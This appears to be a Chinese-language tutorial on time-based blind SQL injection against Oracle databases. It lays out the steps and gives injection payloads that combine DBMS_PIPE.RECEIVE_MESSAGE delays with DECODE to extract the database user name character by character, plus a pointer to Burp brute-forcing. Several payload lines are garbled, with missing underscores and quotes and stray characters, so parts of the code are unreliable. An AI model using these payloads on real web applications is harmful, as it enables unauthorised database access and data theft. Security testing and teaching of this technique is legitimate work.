在诸Oracle注入中,延时盲注更多的一个名称叫做基于时间延时的盲注。
延时盲注的思路为下:
首先判断数据库中是否存在注入,考虑注入是数字型还是字符型,对当前数据库名、数据库表名和字段名进行猜解,最后猜解数据。
Oracle延时盲注需要使用到DBMS-Pipe.Receive-Message、Decode等函数来延时数据库处理时间,攻击者通过网页的加载时间来对注入结果进行判定。
延时注入可用的函数方法∶
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。
select count(") from all_objects
大量统计操作辅助延时注入,延长时间不易控制
注意∶执行"SELECT DBMS PIPE.RECEIVE MESSAGE('RDS',5) from dual返回值是1。
(一)测试延迟代码
SQL语句如下,可以看到网络加载时间是5S,注意该函数5s后的返回值是1。
dbms_pipe.receive_message('RDS',5)from dual;
SQL注入链接如下:
1 and 1=dbms_pipe.receive_message('RDS',5)
(二)调用Decode函数进行延时判断
I DECODE(condition,value,dbms_pipe.receive_message('RDS,5)0)
意思是当condition=value时,返回dbms pipereceive_message(RDS'5),在当前页等待5秒从而达到延时注入的目的。
构造Payload如下∶
1and 1=(select decode(substr(user,1,1) T;dbms pipereceive message('RDS,5)0)from dual)-
对应SQL注入代码如下:
1 and 1=(select decode(substr(user,1,1),'E',dbms pipe.receive message('RDS',5),0)from dual)
可知用户名第一个字符是E,使用BP爆破获得用户名.
通过延迟注入获取表名,假如错误就会反馈异常,正常注入则延迟显示正常结果,比如DEMO的首字母D。